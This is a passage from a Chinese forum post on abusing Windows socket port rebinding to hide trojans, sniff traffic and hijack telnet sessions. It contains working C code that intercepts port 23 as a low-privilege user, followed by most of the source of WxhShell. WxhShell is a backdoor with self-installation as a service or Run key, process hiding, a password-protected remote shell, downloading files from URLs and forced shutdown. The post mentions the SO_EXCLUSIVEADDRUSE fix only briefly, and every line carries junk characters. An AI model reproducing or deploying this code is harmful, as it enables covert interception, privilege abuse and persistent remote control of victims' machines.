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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^|p D(v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +6$+] u]  
X-fWdoN @-  
  saddr.sin_family = AF_INET; Yl>Y.SO  
}2LWDQ;po  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1fMV$T==K  
4'*-[TKC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Md@x2Ja  
k{#k:  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X/cb1#  
5,##p"O(  
  这意味着什么?意味着可以进行如下的攻击: }T(=tfv@  
cZ|NGkZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "{qnm+G  
=v?P7;T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2wB *c9~  
6xtgnl#T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JxwKTFU'3O  
Y:O|6%00Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  aaCRZKr  
9xz@2b@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (}6\_k[}m  
.O'~s/h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gv G8s6IZ  
(wq8[1Wzup  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :%J;[bS+  
&8l?$7S"_/  
  #include Y)F(-H)  
  #include X"d"a={]  
  #include qhvT,"  
  #include    HM0&%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q"u2<  
  int main() !;(Wm6~*ad  
  { n@ba>m4{  
  WORD wVersionRequested; \1joW#  
  DWORD ret; FCEmg0qdjD  
  WSADATA wsaData; -.? @f tY  
  BOOL val; Vf~-v$YI  
  SOCKADDR_IN saddr; D!Y@Og.  
  SOCKADDR_IN scaddr; PkyX,mr#1  
  int err; sV2D:%\K:  
  SOCKET s; Mz(?_7  
  SOCKET sc; n.8870.BW  
  int caddsize; f!yl&ulKU  
  HANDLE mt; ~K#92  
  DWORD tid;   .6$=]hdAp  
  wVersionRequested = MAKEWORD( 2, 2 ); 3e^0W_>6  
  err = WSAStartup( wVersionRequested, &wsaData ); beikzuC  
  if ( err != 0 ) { HP_h!pvx  
  printf("error!WSAStartup failed!\n"); 2IW!EUR  
  return -1; W`vPf  
  } $8U$.~v  
  saddr.sin_family = AF_INET; 0Yq_B+IC  
   j0+D99{R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Gr&e]M[l  
"IQYy~ /  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :Ob^b3<t  
  saddr.sin_port = htons(23); cq?,v?m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '@+q_v@Jl  
  { AEnkx!o  
  printf("error!socket failed!\n"); ]!sCWR  
  return -1; v\8v'EDP  
  } }]dzY(   
  val = TRUE; /KC^x= Xv:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zE1=P/N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h>*3i#  
  { ga\ s5  
  printf("error!setsockopt failed!\n"); tzd !r7  
  return -1; [Q8Wy/o Q  
  } >gL&a#<S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m?yztm~u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w<THPFFF"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {ixKc  
cy!P!t,@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v)O].Hd  
  { >6&Rytcc]  
  ret=GetLastError(); (z)#}TC  
  printf("error!bind failed!\n"); hNYO+LrI)  
  return -1; {na>)qzKP  
  } Lz_.m  
  listen(s,2); @|"K"j#  
  while(1) &g90q   
  { XY6Sm{  
  caddsize = sizeof(scaddr); "AXgT[ O  
  //接受连接请求 u@:[ dbJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4zhh **]B  
  if(sc!=INVALID_SOCKET) 'j{o!T0  
  { A7#nBHwxZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); K/Y"oQ2  
  if(mt==NULL) iuXXFuh  
  { -&1P2m/46  
  printf("Thread Creat Failed!\n"); /CyFe<t  
  break; p`\>GWuT!  
  } 8EJP~bt  
  } HbPn<x^7  
  CloseHandle(mt); ]G8"\J4 &  
  } >0iCQKq  
  closesocket(s); wE<r'  
  WSACleanup(); lcEK&AtK  
  return 0; %ueD3;V  
  }   TUwX4X6m  
  DWORD WINAPI ClientThread(LPVOID lpParam) .]4MtG  
  { 9dAtQwGR"6  
  SOCKET ss = (SOCKET)lpParam; =~W=}  
  SOCKET sc; Vh=U/{Rp1  
  unsigned char buf[4096]; :|ah u  
  SOCKADDR_IN saddr; J9XH8Grk-  
  long num; ojm IEzsz  
  DWORD val; #1*7eANfr  
  DWORD ret; f<rn't{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8_Uh h5[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (xTGt",_Jo  
  saddr.sin_family = AF_INET; ,H.5TQ#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KTot40osj  
  saddr.sin_port = htons(23); b+arnKo1fk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %;u"2L0@  
  { L[nDjQn"  
  printf("error!socket failed!\n"); CSW+UaE  
  return -1;  R:Ih#2R  
  } 2T?Y  
  val = 100; !kb:g]X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I][&*V1  
  { Np$&8v+en  
  ret = GetLastError(); 8* #$ 3e  
  return -1; T2rBH]5  
  } PrfG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0&CXR=U5  
  { 7mXXMm  
  ret = GetLastError(); ?GhMGpd Mq  
  return -1;  CDuA2e  
  } aMHC+R1X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6=,zkU*i ^  
  { ,3-^EfccW  
  printf("error!socket connect failed!\n"); *ej< 0I{  
  closesocket(sc); /5L\:eX%  
  closesocket(ss); &!WRa@x0I  
  return -1; ]&D= *:c  
  } 3}mg7KV&  
  while(1) ir{ 4k  
  { j%bC9UkE3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IDos4nM27]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yk5K8D[tV  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -Hw3rv3o  
  num = recv(ss,buf,4096,0); vV 9vB3K5?  
  if(num>0) s]kzXzRC?  
  send(sc,buf,num,0); olxxs(  
  else if(num==0) A! HJ  
  break; w >2G@  
  num = recv(sc,buf,4096,0); W+"^!p|  
  if(num>0) Lr8|S  
  send(ss,buf,num,0); -oUNK}>  
  else if(num==0) ZPb30M0  
  break; | V{ Q  
  } ]sVWQj  
  closesocket(ss); )YAU|sCAi$  
  closesocket(sc); @0t[7Nv-1  
  return 0 ; HB}rpiB  
  } NR k~  
7_)38  
5%fWX'mS  
========================================================== whHuV*K}  
q%$p56\?3  
下边附上一个代码,,WXhSHELL PO6yE r  
e?+-~]0  
========================================================== CqZHs 9+e&  
 ^QJJ2jZ  
#include "stdafx.h" GQA\JYw|oY  
|?g-8":H8P  
#include <stdio.h> M | "'`zc  
#include <string.h> 0hGmOUO  
#include <windows.h> a9{NAyl<oo  
#include <winsock2.h> <)(W7#Ks  
#include <winsvc.h> dc1Zh W4  
#include <urlmon.h> .n YlYY'   
=4SXntU!e  
#pragma comment (lib, "Ws2_32.lib") R0tT4V+  
#pragma comment (lib, "urlmon.lib") $)o0{HsL+  
Kn@#5MC rU  
#define MAX_USER   100 // 最大客户端连接数 5<v1v&  
#define BUF_SOCK   200 // sock buffer F4z#u2~TC  
#define KEY_BUFF   255 // 输入 buffer MO7R3PP  
D^.  c:  
#define REBOOT     0   // 重启 URbB2 Bi  
#define SHUTDOWN   1   // 关机 |D/a}Av>B  
~:f..|JM  
#define DEF_PORT   5000 // 监听端口 Lkx~>U   
nC%qdzT  
#define REG_LEN     16   // 注册表键长度 u?dPCgs;h  
#define SVC_LEN     80   // NT服务名长度 ?jlz:Z4  
>jIn&s!}  
// 从dll定义API t;h`nH[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <Oh i+a%6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z10}xqi!X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QOg >|"KL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -XV+F@`Md  
Q]N&^ E  
// wxhshell配置信息 z rSPa\M  
struct WSCFG { -/{FGbpR;  
  int ws_port;         // 监听端口 YJ"D"QD  
  char ws_passstr[REG_LEN]; // 口令 VlA]A,P}i  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?-mOAHW0q  
  char ws_regname[REG_LEN]; // 注册表键名 L98T!5)  
  char ws_svcname[REG_LEN]; // 服务名 7G-?^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3s%ND7!/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^&1O:G*"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7(.Z8AO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H#;*kc a4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2y^:T'p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eeCG#NFY5  
9AB U^ig  
}; (iir,Ks2C  
wxh\CBxG  
// default Wxhshell configuration S}%z0g<  
struct WSCFG wscfg={DEF_PORT, N2A6C$s  
    "xuhuanlingzhe", MU a[}?  
    1, .06D_L"M  
    "Wxhshell", G)}[!'<rR  
    "Wxhshell", Y&O2;q/B  
            "WxhShell Service", ,/b!Xm:  
    "Wrsky Windows CmdShell Service", =#W:z.w  
    "Please Input Your Password: ", {E Ay~lo  
  1, 7mMGH(  
  "http://www.wrsky.com/wxhshell.exe", (wZ!OLY%}  
  "Wxhshell.exe" z6E =%-`  
    }; vQi=13Pw  
JXU ?'@QY  
// 消息定义模块 \M\7k5$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %CiF;wJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $-1ajSVJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5>f"  
char *msg_ws_ext="\n\rExit."; xWzybuLp  
char *msg_ws_end="\n\rQuit."; }BlyEcw'aN  
char *msg_ws_boot="\n\rReboot..."; ^*.$@M  
char *msg_ws_poff="\n\rShutdown..."; g-d{"ZXd J  
char *msg_ws_down="\n\rSave to "; xo'!$a}I2  
%`5 (SC].  
char *msg_ws_err="\n\rErr!"; FJ~d&L\l  
char *msg_ws_ok="\n\rOK!"; . i4aM;Qy  
8~C}0H  
char ExeFile[MAX_PATH]; m1%rm-M  
int nUser = 0; S^p b9~  
HANDLE handles[MAX_USER]; hp'oiR;~w  
int OsIsNt; SQcic]Ep  
C+s/KA%  
SERVICE_STATUS       serviceStatus; a`w=0]1&*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (?1$  
0@ "'SKq  
// 函数声明 $oQOOa@;i)  
int Install(void); E72N=7v"  
int Uninstall(void); wz:e\ !  
int DownloadFile(char *sURL, SOCKET wsh); %@a;q?/?Nd  
int Boot(int flag); Cb{D[  
void HideProc(void); qK%N{ro[{?  
int GetOsVer(void); u9S*2'  
int Wxhshell(SOCKET wsl); }NC$Ce  
void TalkWithClient(void *cs); Y0,{fw<  
int CmdShell(SOCKET sock); $mM"C+dD  
int StartFromService(void); ~wW]ntZm  
int StartWxhshell(LPSTR lpCmdLine); ' /HShS!d  
fL2P6N@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f<bB= 9J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )m7%cyfC  
_ $>);qIP4  
// 数据结构和表定义 -&2Z/qM&!  
SERVICE_TABLE_ENTRY DispatchTable[] = 1M??@@X  
{ X2A k  
{wscfg.ws_svcname, NTServiceMain}, 0<`qz |_h  
{NULL, NULL} (}X5*BB&  
}; ]j7`3%4uK  
?fy37m(M}  
// 自我安装 AQjv? 4)T  
int Install(void) cN&Ebn  
{ 0j!<eN=  
  char svExeFile[MAX_PATH]; 8X`DFeJ  
  HKEY key; vOlfyH>  
  strcpy(svExeFile,ExeFile); Lld45Bayb  
o i'iZX  
// 如果是win9x系统,修改注册表设为自启动 _\+]/rY9o  
if(!OsIsNt) { X:Z3R0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .c]>*/(+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9~~NxWY%x  
  RegCloseKey(key); ASy?^Jrs5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cty{   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :& Dv!z  
  RegCloseKey(key); ~|=D.}#$  
  return 0; l3b=8yn.  
    } 0a:oC(Ak  
  } B;[ .u>f  
} Z OPK  
else { ?=Ceo#Er  
6inAnC@I  
// 如果是NT以上系统,安装为系统服务 )=GPhC/sw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7#j.y f4  
if (schSCManager!=0) &Pme4IHtm  
{ o A2oX  
  SC_HANDLE schService = CreateService BmpAH}%T  
  ( 9oc_*V0<  
  schSCManager, -51LF=(!L  
  wscfg.ws_svcname, '-A;B.GV%  
  wscfg.ws_svcdisp, 1#3|PA#>  
  SERVICE_ALL_ACCESS, }d; 2[fR)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ep"{{S5g  
  SERVICE_AUTO_START, rGNa[1{kRs  
  SERVICE_ERROR_NORMAL, *CXc{{  
  svExeFile, O'98OH+u  
  NULL, E'4Psx9: =  
  NULL, DQK?y=vf  
  NULL, t!3s@  
  NULL, 5B)&;[  
  NULL X>`03?L  
  ); qZF&^pCF}  
  if (schService!=0) mmJnE  
  { py\:u5QS  
  CloseServiceHandle(schService); AJB NM  
  CloseServiceHandle(schSCManager); stK}K-=`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _ab8z]H   
  strcat(svExeFile,wscfg.ws_svcname); AR( gI]1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nxhlTf>3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z<9C-  
  RegCloseKey(key); &1<[@:;  
  return 0; 5FJLDT2Lg  
    } gk| % 4.  
  } hO[_ _j8  
  CloseServiceHandle(schSCManager); _D}3``  
} "XxmiK  
} (" :Dz_  
^k7I+A  
return 1; .?s jr4   
} c! kr BS  
pW.WJ`Rk  
// 自我卸载 +&)/dHbL`]  
int Uninstall(void) mvH8hvD9  
{ uQc("F  
  HKEY key; Mm*V;ADF  
,Tar?&C:  
if(!OsIsNt) { &,<,!j)Jr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !;8Y?c-D  
  RegDeleteValue(key,wscfg.ws_regname); ,gZp/yJ;  
  RegCloseKey(key); hfI=9x/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ] / Nt  
  RegDeleteValue(key,wscfg.ws_regname); \:Tq0|]Px  
  RegCloseKey(key); ^_3Ey  
  return 0; 3 .#L  
  } QAx9W%  
} {1Cnrjw  
} V  H`_  
else { D+;4|7s+  
M2ex 3m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kOo  Vqu  
if (schSCManager!=0) TYD( 6N  
{ `AE6s.p?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sak^J.~G[  
  if (schService!=0)  ij:a+T  
  { {sB-"NR`K  
  if(DeleteService(schService)!=0) { f=V`Nn<=A  
  CloseServiceHandle(schService); Y>aVnixx<  
  CloseServiceHandle(schSCManager); k-3;3Mq  
  return 0; |DW^bv  
  } yLLA:5Q1  
  CloseServiceHandle(schService); n:4 0T1: q  
  } H0inU+Ih  
  CloseServiceHandle(schSCManager); <2@t ~ 9  
} 'fK=;mM  
} 9~j"6wS  
Gi-pi=#&cs  
return 1; DZL(G [  
} 2m*ugBO;  
!bLCha\  
// 从指定url下载文件 vcy1itY  
int DownloadFile(char *sURL, SOCKET wsh) **__&X p1  
{ XsJ`x  
  HRESULT hr; :T$}@& -  
char seps[]= "/"; h(nE)j  
char *token; %P1zb7:8  
char *file; 0y<9JvN$9  
char myURL[MAX_PATH]; gmu.8  
char myFILE[MAX_PATH]; gYbvCs8O!  
)x [=}0C  
strcpy(myURL,sURL); <5KoK!H  
  token=strtok(myURL,seps); Z\C"/j<y  
  while(token!=NULL) } -4p8Zt  
  { 8bMw.u=F  
    file=token;  >h2qam  
  token=strtok(NULL,seps); "fNv(> -7s  
  } " Ke_dM  
! weYOOu  
GetCurrentDirectory(MAX_PATH,myFILE); 7.NL>:lu  
strcat(myFILE, "\\"); 7>7n|N  
strcat(myFILE, file); Vt zSM%=  
  send(wsh,myFILE,strlen(myFILE),0); UE_>@_T  
send(wsh,"...",3,0); ;QuxTmWp^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NY?iuWa*g  
  if(hr==S_OK) r{yIF~k@  
return 0; w0js_P-uv  
else *URY8 a`bO  
return 1; 05 6yhB  
AS0(NlV  
} ZPM7R3%V)z  
$+e(k~  
// 系统电源模块 gDfM}2]/  
int Boot(int flag) L}8 }Pns?&  
{ 0=`aXb-  
  HANDLE hToken; /s)It  
  TOKEN_PRIVILEGES tkp; Ca"i<[8  
jvd3_L-@E<  
  if(OsIsNt) { !5m~qet.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q4ii25]*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >)+U^V  
    tkp.PrivilegeCount = 1; t?uw^nV3E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6*ZZ)W<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u_WW uo  
if(flag==REBOOT) { ,aWfGh#$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3_VWtGQ  
  return 0; #2.C$  
} $[=`*m  
else { 1 d.>?^uE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9D%~~~ %b  
  return 0; )[sSCt]  
} i3Nt?FSN  
  } H~hAm  
  else { /s:akLBaD  
if(flag==REBOOT) { 5o(=?dXm4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NX+ eig</-  
  return 0; >W8PLo+i  
} HZ2zL17  
else { 1 gRR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FUPJ&7+B  
  return 0; GWShv\c}  
} oWOH#w  
} P|)SXR  
2gjA>ET`N  
return 1; tQ?}x#J  
} aOAwezfYR  
\gJapx(  
// win9x进程隐藏模块 4$q )e<-  
void HideProc(void) ' 5OVs:)"^  
{ &bS"N)je  
j]ln :?\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); alb+R$s  
  if ( hKernel != NULL ) mER8> <  
  { %1 VNP(E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P98X[0&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ==e#CSJq  
    FreeLibrary(hKernel); ]` &[Se d  
  } WV !kA_  
x>8}|ou  
return; 1 ">d|oC  
} kb}]sj  
BhE~k?$9  
// 获取操作系统版本 r3BDq  
int GetOsVer(void) [WO%rO^p  
{ eB/hyC1  
  OSVERSIONINFO winfo; thZ@Br O#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %9 -#`  
  GetVersionEx(&winfo); ttAVB{kdo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C$..w80/1  
  return 1; p$b= r+1f  
  else ]\9B?W(#  
  return 0; 2t`9_zqLw  
} .5[LQR  
M5ySs\O4  
// 客户端句柄模块 < jocfTBk  
int Wxhshell(SOCKET wsl) FOUs= E[  
{ +O!M>  
  SOCKET wsh; }Cq9{0by?a  
  struct sockaddr_in client; GZhfA ;O,  
  DWORD myID; EBL,E:_)  
6t mNfI34  
  while(nUser<MAX_USER) Cp~3Jm3  
{ k.%W8C<Pa  
  int nSize=sizeof(client); +q_lYGTiO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "/K&qj  
  if(wsh==INVALID_SOCKET) return 1; <sWcS; x  
.L(j@I t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gq:TUvX  
if(handles[nUser]==0) 6q uWO2x  
  closesocket(wsh); luz%FY:  
else |`t!aG8  
  nUser++; m)]fJ_  
  } 2p;}wYt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V8U`%/`N  
m[Ac'la  
  return 0; \F+o=  
} y[5P<:&s  
-.Pu5et4  
// 关闭 socket 5@Lxbe( q  
void CloseIt(SOCKET wsh) NUNn[c  
{ 'hi\98y  
closesocket(wsh); i6ypx  
nUser--; rs<&x(=Hv  
ExitThread(0); SnF[mN'  
}  jnKM6%z  
a4CNPf<$  
// 客户端请求句柄 [.Wt,zrE  
void TalkWithClient(void *cs) .5CELtR  
{ ut5!2t$c  
,t&-`U]AX  
  SOCKET wsh=(SOCKET)cs; Q|H cg|  
  char pwd[SVC_LEN]; NUnc"@  
  char cmd[KEY_BUFF]; |tJ%:`DGw  
char chr[1]; FR6I+@ oX~  
int i,j; AW;) _|xM  
0V,MDX}#_  
  while (nUser < MAX_USER) { +G[HZ,FL  
`rdfROKv  
if(wscfg.ws_passstr) { <^q"31f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j}.J$RtW1f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +e4<z%1  
  //ZeroMemory(pwd,KEY_BUFF); 95 .'t}  
      i=0; wfTv<WG,.E  
  while(i<SVC_LEN) { tc2GI6]e'  
yGG\[I;7  
  // 设置超时 tKsM}+fq  
  fd_set FdRead; -Fc#  
  struct timeval TimeOut; 7>@/*S{X  
  FD_ZERO(&FdRead); A-Pwi.$  
  FD_SET(wsh,&FdRead); @>nk^ l  
  TimeOut.tv_sec=8; }_/h~D9-T#  
  TimeOut.tv_usec=0; 2&K|~~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K}/`YDu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GhQ`{iJM  
aq\TO?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @=#s~ 3  
  pwd=chr[0]; [*ovYpj^  
  if(chr[0]==0xd || chr[0]==0xa) { _v=WjN  
  pwd=0; %c/"A8{eb  
  break; 4x?u5L 9o  
  } ?[/,*Q%  
  i++; \lIHC{V\  
    } YIUmCx0a  
ZV4' |q  
  // 如果是非法用户,关闭 socket /D]r "-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U105u.#7  
} F8;4Oj  
UZ3Aq12U}a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '<D}5u7 2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H08YM P>dc  
Pc4c Sw#5  
while(1) { J3S+| x h~  
c!wB'~MS#  
  ZeroMemory(cmd,KEY_BUFF); VD`2lGdF  
PlRs- %d  
      // 自动支持客户端 telnet标准   vS__*} ^  
  j=0; 7t Kft  
  while(j<KEY_BUFF) { pdqa)>$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7:E#c"S q  
  cmd[j]=chr[0]; N%E2BJ?  
  if(chr[0]==0xa || chr[0]==0xd) { :!15>ML;-  
  cmd[j]=0; * t9qH  
  break; WREGRy  
  } @_ ZW P  
  j++; v$/i5kcWx  
    } 9],"AjD  
bJ!f,a'/  
  // 下载文件  Jiylrf`o  
  if(strstr(cmd,"http://")) { z( [$,e\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jAHn`Bxz  
  if(DownloadFile(cmd,wsh)) Eakjsk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2czL 1Ci  
  else  HcS^3^Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }mZ*f y0t  
  } J uKaRR~  
  else { a3IB, dr5P  
;K-t  
    switch(cmd[0]) { t1s@Ub5);I  
  {j*+:Gj0V  
  // 帮助 T7_rnEOO   
  case '?': { ?|yJ #j1=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4>`w9   
    break; Z i&X ,K~  
  } iqP0=(^m  
  // 安装 RVy87_J1  
  case 'i': { vAxtN RS  
    if(Install()) j'cCX[i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~36XJ  
    else o%Q2.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); czi!q1<vg  
    break; n:z>l,`C]  
    } Yr0i9Qow  
  // 卸载 |<icx8hbr  
  case 'r': { /^ 7 9|$E  
    if(Uninstall()) (I g *iJ%2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q-CVq_\3I  
    else 1uzfV)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L6qA=b~iz  
    break; 'o9V0#$!  
    } f89<o#bm7h  
  // 显示 wxhshell 所在路径 G&Sg .<hn  
  case 'p': { NKYyMHv6  
    char svExeFile[MAX_PATH]; '11hIu=:  
    strcpy(svExeFile,"\n\r"); wO N Qlt  
      strcat(svExeFile,ExeFile); {'C74s  
        send(wsh,svExeFile,strlen(svExeFile),0); [-a /]  
    break; wu'60po  
    } N`fY%"5U>  
  // 重启 t F( mD=[  
  case 'b': { Id1[}B-T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5J3kQ;5Q?  
    if(Boot(REBOOT)) A(5? ci  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !{\c`Z<#  
    else { jL>r*=K)%  
    closesocket(wsh); ,oe4*b}O=.  
    ExitThread(0); ST.W{:X   
    } L.[2l Q  
    break; O[5ti=W  
    } ~o$=(EC  
  // 关机 E>v~B;@  
  case 'd': { dno*Usx5d0  
